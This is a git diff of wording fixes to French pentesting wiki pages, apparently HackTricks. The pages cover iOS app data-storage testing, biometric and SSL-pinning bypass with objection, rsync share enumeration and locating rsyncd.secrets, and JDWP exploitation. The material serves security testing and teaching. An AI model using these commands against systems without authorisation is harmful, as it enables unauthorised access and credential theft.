@ -438,13 +438,13 @@ Comme les bases de données Yap sont des bases de données sqlite, vous pouvez l
|
||||
|
||||
### Autres bases de données SQLite
|
||||
|
||||
Il est courant que les applications créent leur propre base de données sqlite. Elles peuvent **stocker** des **données** **sensibles** et les laisser non chiffrées. Par conséquent, il est toujours intéressant de vérifier chaque base de données dans le répertoire des applications. Allez donc dans le répertoire de l'application où les données sont enregistrées (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
Il est courant que les applications créent leur propre base de données sqlite. Elles peuvent **stocker** **des** **données** **sensibles** et les laisser non chiffrées. Par conséquent, il est toujours intéressant de vérifier chaque base de données dans le répertoire des applications. Allez donc dans le répertoire de l'application où les données sont enregistrées (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
```bash
|
||||
find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
### Firebase Real-Time Databases
|
||||
|
||||
Les développeurs peuvent **stocker et synchroniser des données** dans une **base de données NoSQL hébergée dans le cloud** grâce à Firebase Real-Time Databases. Stockées au format JSON, les données sont synchronisées avec tous les clients connectés en temps réel.
|
||||
Les développeurs peuvent **stocker et synchroniser des données** dans une **base de données NoSQL hébergée dans le cloud** via Firebase Real-Time Databases. Stockées au format JSON, les données sont synchronisées avec tous les clients connectés en temps réel.
|
||||
|
||||
Vous pouvez trouver comment vérifier les bases de données Firebase mal configurées ici :
|
||||
|
||||
@ -452,9 +452,9 @@ Vous pouvez trouver comment vérifier les bases de données Firebase mal configu
|
||||
../../network-services-pentesting/pentesting-web/buckets/firebase-database.md
|
||||
{{#endref}}
|
||||
|
||||
### Bases de données Realm
|
||||
### Realm databases
|
||||
|
||||
[Realm Objective-C](https://realm.io/docs/objc/latest/) et [Realm Swift](https://realm.io/docs/swift/latest/) offrent une alternative puissante pour le stockage de données, non fournie par Apple. Par défaut, elles **stockent les données sans chiffrement**, avec un chiffrement disponible via une configuration spécifique.
|
||||
[Realm Objective-C](https://realm.io/docs/objc/latest/) et [Realm Swift](https://realm.io/docs/swift/latest/) offrent une alternative puissante pour le stockage de données, non fournie par Apple. Par défaut, ils **stockent les données sans chiffrement**, avec un chiffrement disponible via une configuration spécifique.
|
||||
|
||||
Les bases de données se trouvent à : `/private/var/mobile/Containers/Data/Application/{APPID}`. Pour explorer ces fichiers, on peut utiliser des commandes comme :
|
||||
```bash
|
||||
@ -487,7 +487,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
|
||||
```
|
||||
### Cookies
|
||||
|
||||
iOS stocke les cookies des applications dans le **`Library/Cookies/cookies.binarycookies`** à l'intérieur de chaque dossier d'application. Cependant, les développeurs décident parfois de les enregistrer dans le **keychain** car le **fichier de cookie mentionné peut être accessible dans les sauvegardes**.
|
||||
iOS stocke les cookies des applications dans le **`Library/Cookies/cookies.binarycookies`** à l'intérieur de chaque dossier d'application. Cependant, les développeurs décident parfois de les enregistrer dans le **keychain** car le fichier **cookie mentionné peut être accessible dans les sauvegardes**.
|
||||
|
||||
Pour inspecter le fichier de cookies, vous pouvez utiliser [**ce script python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) ou utiliser **`ios cookies get`** d'objection.\
|
||||
**Vous pouvez également utiliser objection pour** convertir ces fichiers en format JSON et inspecter les données.
|
||||
@ -508,7 +508,7 @@ Pour inspecter le fichier de cookies, vous pouvez utiliser [**ce script python**
|
||||
```
|
||||
### Cache
|
||||
|
||||
Par défaut, NSURLSession stocke des données, telles que **les requêtes et réponses HTTP dans la base de données Cache.db**. Cette base de données peut contenir **des données sensibles**, si des tokens, des noms d'utilisateur ou toute autre information sensible ont été mises en cache. Pour trouver les informations mises en cache, ouvrez le répertoire de données de l'application (`/var/mobile/Containers/Data/Application/<UUID>`) et allez à `/Library/Caches/<Bundle Identifier>`. Le **cache WebKit est également stocké dans le fichier Cache.db**. **Objection** peut ouvrir et interagir avec la base de données avec la commande `sqlite connect Cache.db`, car c'est une **base de données SQLite normale**.
|
||||
Par défaut, NSURLSession stocke des données, telles que **les requêtes et réponses HTTP dans la base de données Cache.db**. Cette base de données peut contenir **des données sensibles**, si des tokens, des noms d'utilisateur ou toute autre information sensible ont été mises en cache. Pour trouver les informations mises en cache, ouvrez le répertoire de données de l'application (`/var/mobile/Containers/Data/Application/<UUID>`) et allez dans `/Library/Caches/<Bundle Identifier>`. Le **cache WebKit est également stocké dans le fichier Cache.db**. **Objection** peut ouvrir et interagir avec la base de données avec la commande `sqlite connect Cache.db`, car c'est une **base de données SQLite normale**.
|
||||
|
||||
Il est **recommandé de désactiver la mise en cache de ces données**, car elles peuvent contenir des informations sensibles dans la requête ou la réponse. La liste suivante montre différentes façons d'y parvenir :
|
||||
|
||||
@ -534,7 +534,7 @@ Chaque fois que vous appuyez sur le bouton d'accueil, iOS **prend un instantané
|
||||
|
||||
Une façon de prévenir ce mauvais comportement est de mettre un écran vide ou de supprimer les données sensibles avant de prendre l'instantané en utilisant la fonction `ApplicationDidEnterBackground()`.
|
||||
|
||||
La suite est un exemple de méthode de remédiation qui définira une capture d'écran par défaut.
|
||||
Voici un exemple de méthode de remédiation qui définira un instantané par défaut.
|
||||
|
||||
Swift:
|
||||
```swift
|
||||
@ -551,7 +551,7 @@ func applicationWillEnterForeground(_ application: UIApplication) {
|
||||
backgroundImage?.removeFromSuperview()
|
||||
}
|
||||
```
|
||||
Objective-C :
|
||||
Objectif-C :
|
||||
```
|
||||
@property (UIImageView *)backgroundImage;
|
||||
|
||||
@ -584,7 +584,7 @@ Pour extraire ces identifiants stockés, la commande `ios nsurlcredentialstorage
|
||||
|
||||
## **Claviers personnalisés et cache de clavier**
|
||||
|
||||
Avec iOS 8.0 et versions ultérieures, les utilisateurs peuvent installer des extensions de clavier personnalisées, qui sont gérables sous **Réglages > Général > Clavier > Claviers**. Bien que ces claviers offrent des fonctionnalités étendues, ils présentent un risque d'enregistrement des frappes et de transmission de données vers des serveurs externes, bien que les utilisateurs soient informés des claviers nécessitant un accès réseau. Les applications peuvent, et doivent, restreindre l'utilisation de claviers personnalisés pour la saisie d'informations sensibles.
|
||||
Avec iOS 8.0 et versions ultérieures, les utilisateurs peuvent installer des extensions de clavier personnalisées, qui sont gérables sous **Réglages > Général > Clavier > Claviers**. Bien que ces claviers offrent des fonctionnalités étendues, ils présentent un risque d'enregistrement des frappes et de transmission de données à des serveurs externes, bien que les utilisateurs soient informés des claviers nécessitant un accès réseau. Les applications peuvent, et doivent, restreindre l'utilisation de claviers personnalisés pour la saisie d'informations sensibles.
|
||||
|
||||
**Recommandations de sécurité :**
|
||||
|
||||
@ -599,7 +599,7 @@ Le [protocole UITextInputTraits](https://developer.apple.com/reference/uikit/uit
|
||||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
textObject.secureTextEntry = YES;
|
||||
```
|
||||
De plus, les développeurs doivent s'assurer que les champs de texte, en particulier ceux pour entrer des informations sensibles comme des mots de passe et des codes PIN, désactivent la mise en cache en définissant `autocorrectionType` sur `UITextAutocorrectionTypeNo` et `secureTextEntry` sur `YES`.
|
||||
De plus, les développeurs doivent s'assurer que les champs de texte, en particulier ceux pour entrer des informations sensibles comme les mots de passe et les PIN, désactivent la mise en cache en définissant `autocorrectionType` sur `UITextAutocorrectionTypeNo` et `secureTextEntry` sur `YES`.
|
||||
```objectivec
|
||||
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
|
||||
textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
@ -625,10 +625,10 @@ sont utiles. De plus, **Xcode** offre un moyen de collecter des journaux de cons
|
||||
|
||||
1. Ouvrez Xcode.
|
||||
2. Connectez l'appareil iOS.
|
||||
3. Accédez à **Fenêtre** -> **Appareils et simulateurs**.
|
||||
3. Accédez à **Window** -> **Devices and Simulators**.
|
||||
4. Sélectionnez votre appareil.
|
||||
5. Déclenchez le problème que vous enquêtez.
|
||||
6. Utilisez le bouton **Ouvrir la console** pour voir les journaux dans une nouvelle fenêtre.
|
||||
6. Utilisez le bouton **Open Console** pour voir les journaux dans une nouvelle fenêtre.
|
||||
|
||||
Pour un journalisation plus avancée, se connecter au shell de l'appareil et utiliser **socat** peut fournir une surveillance des journaux en temps réel :
|
||||
```bash
|
||||
@ -669,11 +669,11 @@ Pour traiter les sauvegardes chiffrées, des scripts Python disponibles dans le
|
||||
|
||||
### Modification du Comportement de l'Application
|
||||
|
||||
Un exemple de modification du comportement d'une application par le biais de modifications de sauvegarde est démontré dans l'[application de portefeuille bitcoin Bither](https://github.com/bither/bither-ios), où le code PIN de verrouillage de l'interface utilisateur est stocké dans `net.bither.plist` sous la clé **pin_code**. La suppression de cette clé du plist et la restauration de la sauvegarde supprime l'exigence du code PIN, offrant un accès illimité.
|
||||
Un exemple de modification du comportement d'une application par le biais de modifications de sauvegarde est démontré dans l'[application de portefeuille bitcoin Bither](https://github.com/bither/bither-ios), où le code PIN de verrouillage de l'interface utilisateur est stocké dans `net.bither.plist` sous la clé **pin_code**. La suppression de cette clé du plist et la restauration de la sauvegarde supprime l'exigence du PIN, offrant un accès illimité.
|
||||
|
||||
## Résumé sur les Tests de Mémoire pour les Données Sensibles
|
||||
|
||||
Lorsqu'il s'agit d'informations sensibles stockées dans la mémoire d'une application, il est crucial de limiter le temps d'exposition de ces données. Il existe deux approches principales pour enquêter sur le contenu de la mémoire : **créer un dump de mémoire** et **analyser la mémoire en temps réel**. Les deux méthodes présentent des défis, y compris le risque de manquer des données critiques lors du processus de dump ou d'analyse.
|
||||
Lorsqu'il s'agit d'informations sensibles stockées dans la mémoire d'une application, il est crucial de limiter le temps d'exposition de ces données. Il existe deux approches principales pour enquêter sur le contenu de la mémoire : **créer un dump de mémoire** et **analyser la mémoire en temps réel**. Les deux méthodes présentent des défis, notamment le risque de manquer des données critiques lors du processus de dump ou d'analyse.
|
||||
|
||||
## **Récupération et Analyse d'un Dump de Mémoire**
|
||||
|
||||
@ -695,7 +695,7 @@ $ r2 <name_of_your_dump_file>
|
||||
```
|
||||
## **Analyse de la mémoire à l'exécution**
|
||||
|
||||
**r2frida** offre une alternative puissante pour inspecter la mémoire d'une application en temps réel, sans avoir besoin d'un dump mémoire. Cet outil permet l'exécution de commandes de recherche directement sur la mémoire de l'application en cours d'exécution :
|
||||
**r2frida** fournit une alternative puissante pour inspecter la mémoire d'une application en temps réel, sans avoir besoin d'un dump mémoire. Cet outil permet l'exécution de commandes de recherche directement sur la mémoire de l'application en cours d'exécution :
|
||||
```bash
|
||||
$ r2 frida://usb//<name_of_your_app>
|
||||
[0x00000000]> /\ <search_command>
|
||||
@ -704,15 +704,15 @@ $ r2 frida://usb//<name_of_your_app>
|
||||
|
||||
### Mauvaises Pratiques de Gestion des Clés
|
||||
|
||||
Certains développeurs enregistrent des données sensibles dans le stockage local et les cryptent avec une clé codée en dur/prévisible dans le code. Cela ne devrait pas être fait car un certain reverse engineering pourrait permettre aux attaquants d'extraire les informations confidentielles.
|
||||
Certains développeurs enregistrent des données sensibles dans le stockage local et les encryptent avec une clé codée en dur/prévisible dans le code. Cela ne devrait pas être fait car un certain reverse engineering pourrait permettre aux attaquants d'extraire les informations confidentielles.
|
||||
|
||||
### Utilisation d'Algorithmes Insecure et/ou Obsolètes
|
||||
|
||||
Les développeurs ne devraient pas utiliser des **algorithmes obsolètes** pour effectuer des **vérifications** d'autorisation, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashes** sont utilisés pour stocker des mots de passe par exemple, des **hashes** résistants à la force brute devraient être utilisés avec du sel.
|
||||
Les développeurs ne devraient pas utiliser des **algorithmes obsolètes** pour effectuer des **vérifications** d'autorisation, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashs** sont utilisés pour stocker des mots de passe par exemple, des hashs résistants à la force brute devraient être utilisés avec du sel.
|
||||
|
||||
### Vérification
|
||||
|
||||
Les principales vérifications à effectuer consistent à trouver si vous pouvez trouver des mots de passe/secrets **codés en dur** dans le code, ou si ceux-ci sont **prévisibles**, et si le code utilise des algorithmes de **cryptographie** **faibles**.
|
||||
Les principales vérifications à effectuer consistent à déterminer si vous pouvez trouver des mots de passe/secrets **codés en dur** dans le code, ou si ceux-ci sont **prévisibles**, et si le code utilise des algorithmes de **cryptographie** **faibles**.
|
||||
|
||||
Il est intéressant de savoir que vous pouvez **surveiller** certaines **bibliothèques** **crypto** automatiquement en utilisant **objection** avec :
|
||||
```swift
|
||||
@ -722,7 +722,7 @@ Pour **plus d'informations** sur les API et bibliothèques cryptographiques iOS,
|
||||
|
||||
## Authentification Locale
|
||||
|
||||
**L'authentification locale** joue un rôle crucial, surtout lorsqu'il s'agit de protéger l'accès à un point de terminaison distant par des méthodes cryptographiques. L'essence ici est que sans une mise en œuvre appropriée, les mécanismes d'authentification locale peuvent être contournés.
|
||||
L'**authentification locale** joue un rôle crucial, surtout lorsqu'il s'agit de protéger l'accès à un point de terminaison distant par des méthodes cryptographiques. L'essence ici est que sans une mise en œuvre appropriée, les mécanismes d'authentification locale peuvent être contournés.
|
||||
|
||||
Le [**framework d'authentification locale d'Apple**](https://developer.apple.com/documentation/localauthentication) et le [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) fournissent des API robustes pour permettre aux développeurs de faciliter les dialogues d'authentification des utilisateurs et de gérer en toute sécurité les données secrètes, respectivement. Le Secure Enclave sécurise l'ID d'empreinte digitale pour Touch ID, tandis que Face ID repose sur la reconnaissance faciale sans compromettre les données biométriques.
|
||||
|
||||
@ -745,9 +745,9 @@ Une authentification réussie est indiquée par une valeur de retour booléenne
|
||||
|
||||
### Authentification locale utilisant le Keychain
|
||||
|
||||
La mise en œuvre de **l'authentification locale** dans les applications iOS implique l'utilisation des **API de keychain** pour stocker en toute sécurité des données secrètes telles que des jetons d'authentification. Ce processus garantit que les données ne peuvent être accessibles que par l'utilisateur, en utilisant son code d'accès de l'appareil ou une authentification biométrique comme Touch ID.
|
||||
La mise en œuvre de l'**authentification locale** dans les applications iOS implique l'utilisation des **API de keychain** pour stocker en toute sécurité des données secrètes telles que des jetons d'authentification. Ce processus garantit que les données ne peuvent être accessibles que par l'utilisateur, en utilisant son code d'accès de l'appareil ou une authentification biométrique comme Touch ID.
|
||||
|
||||
Le keychain offre la capacité de définir des éléments avec l'attribut `SecAccessControl`, qui restreint l'accès à l'élément jusqu'à ce que l'utilisateur s'authentifie avec succès via Touch ID ou code d'accès de l'appareil. Cette fonctionnalité est cruciale pour améliorer la sécurité.
|
||||
Le keychain offre la capacité de définir des éléments avec l'attribut `SecAccessControl`, qui restreint l'accès à l'élément jusqu'à ce que l'utilisateur s'authentifie avec succès via Touch ID ou le code d'accès de l'appareil. Cette fonctionnalité est cruciale pour améliorer la sécurité.
|
||||
|
||||
Voici des exemples de code en Swift et Objective-C démontrant comment enregistrer et récupérer une chaîne dans/le keychain, en tirant parti de ces fonctionnalités de sécurité. Les exemples montrent spécifiquement comment configurer le contrôle d'accès pour exiger une authentification Touch ID et garantir que les données ne sont accessibles que sur l'appareil sur lequel elles ont été configurées, sous la condition qu'un code d'accès de l'appareil soit configuré.
|
||||
|
||||
@ -791,7 +791,7 @@ if status == noErr {
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Objectif-C"}}
|
||||
{{#tab name="Objective-C"}}
|
||||
```objectivec
|
||||
// 1. create AccessControl object that will represent authentication settings
|
||||
CFErrorRef *err = nil;
|
||||
@ -891,7 +891,7 @@ Si `Security.framework` est utilisé, seul le second sera affiché.
|
||||
|
||||
#### **Objection**
|
||||
|
||||
Grâce au **Objection Biometrics Bypass**, situé sur [cette page GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), une technique est disponible pour surmonter le mécanisme **LocalAuthentication**. Le cœur de cette approche consiste à exploiter **Frida** pour manipuler la fonction `evaluatePolicy`, garantissant qu'elle renvoie systématiquement un résultat `True`, indépendamment du succès réel de l'authentification. Cela est particulièrement utile pour contourner les processus d'authentification biométrique défectueux.
|
||||
Grâce au **Contournement Biométrique Objection**, situé sur [cette page GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), une technique est disponible pour surmonter le mécanisme **LocalAuthentication**. Le cœur de cette approche consiste à exploiter **Frida** pour manipuler la fonction `evaluatePolicy`, garantissant qu'elle renvoie systématiquement un résultat `True`, indépendamment du succès réel de l'authentification. Cela est particulièrement utile pour contourner les processus d'authentification biométrique défectueux.
|
||||
|
||||
Pour activer ce contournement, la commande suivante est utilisée :
|
||||
```bash
|
||||
@ -1008,8 +1008,8 @@ ios-serialisation-and-encoding.md
|
||||
|
||||
## Communication Réseau
|
||||
|
||||
Il est important de vérifier qu'aucune communication ne se produit **sans cryptage** et également que l'application **valide correctement le certificat TLS** du serveur.\
|
||||
Pour vérifier ce genre de problèmes, vous pouvez utiliser un proxy comme **Burp** :
|
||||
Il est important de vérifier qu'aucune communication ne se produit **sans chiffrement** et également que l'application **valide correctement le certificat TLS** du serveur.\
|
||||
Pour vérifier ce type de problèmes, vous pouvez utiliser un proxy comme **Burp** :
|
||||
|
||||
{{#ref}}
|
||||
burp-configuration-for-ios.md
|
||||
@ -1018,7 +1018,7 @@ burp-configuration-for-ios.md
|
||||
### Vérification du Nom d'Hôte
|
||||
|
||||
Un problème courant lors de la validation du certificat TLS est de vérifier que le certificat a été signé par une **CA** **de confiance**, mais **ne pas vérifier** si **le nom d'hôte** du certificat est le nom d'hôte accédé.\
|
||||
Pour vérifier ce problème en utilisant Burp, après avoir fait confiance à la CA de Burp sur l'iPhone, vous pouvez **créer un nouveau certificat avec Burp pour un nom d'hôte différent** et l'utiliser. Si l'application fonctionne toujours, alors, quelque chose est vulnérable.
|
||||
Pour vérifier ce problème en utilisant Burp, après avoir fait confiance à la CA de Burp sur l'iPhone, vous pouvez **créer un nouveau certificat avec Burp pour un nom d'hôte différent** et l'utiliser. Si l'application fonctionne toujours, alors quelque chose est vulnérable.
|
||||
|
||||
### Pinning de Certificat
|
||||
|
||||
@ -1029,19 +1029,19 @@ Vous pouvez également utiliser **objection's** `ios sslpinning disable`
|
||||
|
||||
## Divers
|
||||
|
||||
- Dans **`/System/Library`**, vous pouvez trouver les frameworks installés sur le téléphone utilisés par les applications système
|
||||
- Les applications installées par l'utilisateur depuis l'App Store se trouvent dans **`/User/Applications`**
|
||||
- Et le **`/User/Library`** contient les données sauvegardées par les applications au niveau utilisateur
|
||||
- Dans **`/System/Library`**, vous pouvez trouver les frameworks installés sur le téléphone utilisés par les applications système.
|
||||
- Les applications installées par l'utilisateur depuis l'App Store se trouvent dans **`/User/Applications`**.
|
||||
- Et le **`/User/Library`** contient les données sauvegardées par les applications au niveau utilisateur.
|
||||
- Vous pouvez accéder à **`/User/Library/Notes/notes.sqlite`** pour lire les notes sauvegardées dans l'application.
|
||||
- Dans le dossier d'une application installée (**`/User/Applications/<APP ID>/`**), vous pouvez trouver des fichiers intéressants :
|
||||
- **`iTunesArtwork`** : L'icône utilisée par l'application
|
||||
- **`iTunesMetadata.plist`** : Infos de l'application utilisées dans l'App Store
|
||||
- **`iTunesArtwork`** : L'icône utilisée par l'application.
|
||||
- **`iTunesMetadata.plist`** : Infos de l'application utilisées dans l'App Store.
|
||||
- **`/Library/*`** : Contient les préférences et le cache. Dans **`/Library/Cache/Snapshots/*`**, vous pouvez trouver le snapshot effectué sur l'application avant de l'envoyer en arrière-plan.
|
||||
|
||||
### Hot Patching/Mise à Jour Forcée
|
||||
|
||||
Les développeurs peuvent **patcher toutes les installations de leur application instantanément** sans avoir à soumettre à nouveau l'application à l'App Store et attendre son approbation.\
|
||||
À cette fin, on utilise généralement [**JSPatch**](https://github.com/bang590/JSPatch)**.** Mais il existe d'autres options telles que [Siren](https://github.com/ArtSabintsev/Siren) et [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
|
||||
À cette fin, on utilise généralement [**JSPatch**](https://github.com/bang590/JSPatch)**.** Mais il existe d'autres options comme [Siren](https://github.com/ArtSabintsev/Siren) et [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
|
||||
**C'est un mécanisme dangereux qui pourrait être abusé par des SDK tiers malveillants, il est donc recommandé de vérifier quelle méthode est utilisée pour la mise à jour automatique (le cas échéant) et de la tester.** Vous pourriez essayer de télécharger une version précédente de l'application à cette fin.
|
||||
|
||||
### Tiers
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## **Informations de base**
|
||||
|
||||
De [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
||||
D'après [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
||||
|
||||
> **rsync** est un utilitaire pour transférer efficacement [des fichiers](https://en.wikipedia.org/wiki/Computer_file) et [synchroniser](https://en.wikipedia.org/wiki/File_synchronization) [des fichiers](https://en.wikipedia.org/wiki/Computer_file) entre un ordinateur et un disque dur externe et à travers [des ordinateurs](https://en.wikipedia.org/wiki/Computer) [réseau](https://en.wikipedia.org/wiki/Computer_network) en comparant les [temps de modification](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) et les tailles des fichiers.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) Il est couramment trouvé sur des [systèmes d'exploitation](https://en.wikipedia.org/wiki/Operating_system) [de type Unix](https://en.wikipedia.org/wiki/Unix-like). L'algorithme rsync est un type de [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding), et est utilisé pour minimiser l'utilisation du réseau. [Zlib](https://en.wikipedia.org/wiki/Zlib) peut être utilisé pour une [compression de données](https://en.wikipedia.org/wiki/Data_compression) supplémentaire,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) et [SSH](https://en.wikipedia.org/wiki/Secure_Shell) ou [stunnel](https://en.wikipedia.org/wiki/Stunnel) peuvent être utilisés pour la sécurité.
|
||||
> **rsync** est un utilitaire pour transférer efficacement [des fichiers](https://en.wikipedia.org/wiki/File_transfer) et [synchroniser](https://en.wikipedia.org/wiki/File_synchronization) [des fichiers](https://en.wikipedia.org/wiki/Computer_file) entre un ordinateur et un disque dur externe et à travers [des ordinateurs](https://en.wikipedia.org/wiki/Computer) [réseau](https://en.wikipedia.org/wiki/Computer_network) en comparant les [temps de modification](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) et les tailles des fichiers.[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) Il est couramment trouvé sur des [systèmes d'exploitation](https://en.wikipedia.org/wiki/Operating_system) [de type Unix](https://en.wikipedia.org/wiki/Unix-like). L'algorithme rsync est un type de [codage delta](https://en.wikipedia.org/wiki/Delta_encoding), et est utilisé pour minimiser l'utilisation du réseau. [Zlib](https://en.wikipedia.org/wiki/Zlib) peut être utilisé pour une [compression de données](https://en.wikipedia.org/wiki/Data_compression) supplémentaire,[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) et [SSH](https://en.wikipedia.org/wiki/Secure_Shell) ou [stunnel](https://en.wikipedia.org/wiki/Stunnel) peuvent être utilisés pour la sécurité.
|
||||
|
||||
**Port par défaut :** 873
|
||||
```
|
||||
@ -15,7 +15,7 @@ PORT STATE SERVICE REASON
|
||||
```
|
||||
## Énumération
|
||||
|
||||
### Bannière et communication manuelle
|
||||
### Bannière & Communication manuelle
|
||||
```bash
|
||||
nc -vn 127.0.0.1 873
|
||||
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
||||
@ -47,13 +47,13 @@ msf> use auxiliary/scanner/rsync/modules_list
|
||||
# Example with IPv6 and alternate port
|
||||
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
||||
```
|
||||
Soyez conscient que certaines partages pourraient ne pas apparaître dans la liste, les cachant éventuellement. De plus, l'accès à certains partages pourrait être restreint à des **identifiants** spécifiques, indiqué par un message **"Accès Refusé"**.
|
||||
Soyez conscient que certaines partages pourraient ne pas apparaître dans la liste, les cachant éventuellement. De plus, l'accès à certains partages pourrait être restreint à des **credentials** spécifiques, indiqué par un message **"Access Denied"**.
|
||||
|
||||
### [**Brute Force**](../generic-hacking/brute-force.md#rsync)
|
||||
|
||||
### Utilisation Manuelle de Rsync
|
||||
### Utilisation manuelle de Rsync
|
||||
|
||||
Après avoir obtenu une **liste de modules**, les actions dépendent de la nécessité d'authentification. Sans authentification, **lister** et **copier** des fichiers d'un dossier partagé vers un répertoire local se fait par :
|
||||
Après avoir obtenu une **module list**, les actions dépendent de la nécessité d'authentification. Sans authentification, **lister** et **copier** des fichiers d'un dossier partagé vers un répertoire local se fait par :
|
||||
```bash
|
||||
# Listing a shared folder
|
||||
rsync -av --list-only rsync://192.168.0.123/shared_name
|
||||
@ -78,7 +78,7 @@ Pour localiser le fichier de configuration rsyncd, exécutez :
|
||||
```bash
|
||||
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
||||
```
|
||||
Dans ce fichier, un paramètre _secrets file_ pourrait pointer vers un fichier contenant **noms d'utilisateur et mots de passe** pour l'authentification rsyncd.
|
||||
Dans ce fichier, un paramètre de _secrets file_ peut pointer vers un fichier contenant **noms d'utilisateur et mots de passe** pour l'authentification rsyncd.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -2,9 +2,10 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Exploitation
|
||||
|
||||
L'exploitation de JDWP repose sur le **manque d'authentification et de chiffrement du protocole**. Il se trouve généralement sur le **port 8000**, mais d'autres ports sont possibles. La connexion initiale se fait en envoyant un "JDWP-Handshake" au port cible. Si un service JDWP est actif, il répond avec la même chaîne, confirmant sa présence. Ce handshake agit comme une méthode de fingerprinting pour identifier les services JDWP sur le réseau.
|
||||
L'exploitation de JDWP repose sur le **manque d'authentification et de chiffrement du protocole**. Il se trouve généralement sur le **port 8000**, mais d'autres ports sont possibles. La connexion initiale se fait en envoyant un "JDWP-Handshake" au port cible. Si un service JDWP est actif, il répond avec la même chaîne, confirmant sa présence. Cette poignée de main sert de méthode de fingerprinting pour identifier les services JDWP sur le réseau.
|
||||
|
||||
En termes d'identification de processus, rechercher la chaîne "jdwk" dans les processus Java peut indiquer une session JDWP active.
|
||||
|
||||
@ -23,7 +24,7 @@ J'ai constaté que l'utilisation de `--break-on 'java.lang.String.indexOf'` rend
|
||||
1. **Aperçu de JDWP** :
|
||||
|
||||
- C'est un protocole binaire réseau basé sur des paquets, principalement synchrone.
|
||||
- Manque d'authentification et de cryptage, ce qui le rend vulnérable lorsqu'il est exposé à des réseaux hostiles.
|
||||
- Manque d'authentification et de cryptage, le rendant vulnérable lorsqu'il est exposé à des réseaux hostiles.
|
||||
|
||||
2. **Handshake JDWP** :
|
||||
|
||||
@ -42,10 +43,10 @@ J'ai constaté que l'utilisation de `--break-on 'java.lang.String.indexOf'` rend
|
||||
5. **Exploitation dans la vie réelle** :
|
||||
|
||||
- Malgré les protections potentielles des pare-feu, les services JDWP sont découvrables et exploitables dans des scénarios réels, comme le démontrent les recherches sur des plateformes comme ShodanHQ et GitHub.
|
||||
- Le script d'exploit a été testé contre diverses versions de JDK et est indépendant de la plateforme, offrant une exécution de code à distance (RCE) fiable.
|
||||
- Le script d'exploitation a été testé contre diverses versions de JDK et est indépendant de la plateforme, offrant une exécution de code à distance (RCE) fiable.
|
||||
|
||||
6. **Implications de sécurité** :
|
||||
- La présence de services JDWP ouverts sur Internet souligne la nécessité de révisions de sécurité régulières, de désactivation des fonctionnalités de débogage en production et de configurations appropriées des pare-feu.
|
||||
- La présence de services JDWP ouverts sur Internet souligne la nécessité de révisions de sécurité régulières, de désactiver les fonctionnalités de débogage en production et de configurations appropriées des pare-feu.
|
||||
|
||||
### **Références :**
|
||||
|
||||
@ -56,7 +57,7 @@ J'ai constaté que l'utilisation de `--break-on 'java.lang.String.indexOf'` rend
|
||||
- [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
|
||||
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
|
||||
- [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
|
||||
- https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
|
||||
- [https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults](https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults)
|
||||
- [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
|
||||
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
|
||||
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
||||
|
@ -4,12 +4,12 @@
|
||||
|
||||
## Informations de base
|
||||
|
||||
Le **Network Time Protocol (NTP)** garantit que les ordinateurs et les dispositifs réseau sur des réseaux à latence variable synchronisent leurs horloges avec précision. C'est vital pour maintenir une chronométrie précise dans les opérations informatiques, la sécurité et la journalisation. Parce que le temps est utilisé dans presque chaque processus d'authentification, de protocole cryptographique et d'analyse judiciaire, **un attaquant qui peut influencer NTP peut souvent contourner les contrôles de sécurité ou rendre les attaques plus difficiles à enquêter.**
|
||||
